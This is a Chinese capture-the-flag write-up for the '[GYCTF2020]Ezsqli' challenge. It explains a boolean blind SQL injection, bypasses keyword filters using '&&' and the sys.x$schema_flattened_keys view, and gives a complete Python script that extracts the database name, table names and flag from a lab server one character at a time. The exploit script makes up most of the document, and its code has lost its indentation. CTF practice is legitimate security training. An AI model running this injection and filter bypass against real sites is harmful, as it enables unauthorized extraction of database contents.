[GYCTF2020]Ezsqli

image-20240606204511024

做这道题建议屏蔽图片,烦死了

尝试了一下注入姿势

发现回显一般只有两种

Nu1L和Error Occured When Fetch Result.

也就是如果true返回Nu1L,不是则返回后者

很经典的布尔盲注题

之后就是找找过滤

and被过了

我们可以使用&&代替

同时information_schema和mysql.innodb_table_stats被ban了

搜索后采用sys.x$schema_flattened_keys(仅限5.1以上版本)

所以我们直接采用脚本

import requests
import time

def get_database(url,strings):
database_length = 1
DBname = ''
for i in range(1,100):
data = {
'id': "1&&(length(database()))="+str(i)
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
database_length = i
print('数据库长度为:'+str(database_length))
break
for i in range(1,database_length+1):
for one_char in strings:
data = {
'id': "1&&substr(database()," + str(i) + ",1)='"+str(one_char)+"'"
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
DBname = DBname + one_char
print("\r", end="")
print('正在获取数据库名称,当前已获取到'+str(i)+'位 | '+DBname.lower(), end='')
break

def get_tablename(url,strings):
TBname = ''
print('表名字读取中...')
for i in range(1, 100):
for one_char in strings:
data = {
'id': "1&&substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database())," + str(
i) + ",1)='"+str(one_char)+"'"
}
time.sleep(0.05)
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
TBname = TBname + one_char
print("\r", end="")
print('表的名字为:' + TBname.lower(), end='')
break
if 'Nu1L' not in rs.text and one_char == '~':
return ''

def get_column(url,strings):
column_name = ''
tmp = ''
print('\nflag信息读取中...')
for i in range(1, 100):
for one_char in strings:
one_char = column_name + one_char
data = {
'id':"1&&((select 1,'"+str(one_char)+"') > (select * from f1ag_1s_h3r3_hhhhh))"
}
time.sleep(0.05)
rs = requests.post(url,data)
if 'Nu1L' not in rs.text:
tmp = one_char
if 'Nu1L' in rs.text:
column_name = tmp
print("\r", end="")
print('flag为:' + column_name.lower(), end='')
break

if __name__ == '__main__':
url = 'http://0fe9c88f-4b11-44dc-8d0c-8a792f414c49.node4.buuoj.cn:81/index.php'
strings = ',-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#'
get_database(url,strings)
get_tablename(url,strings)
#原来是想着获取column名称,但是未获取到,但是又懒得改名称,所以使用的是column
get_column(url,strings)

拿到flag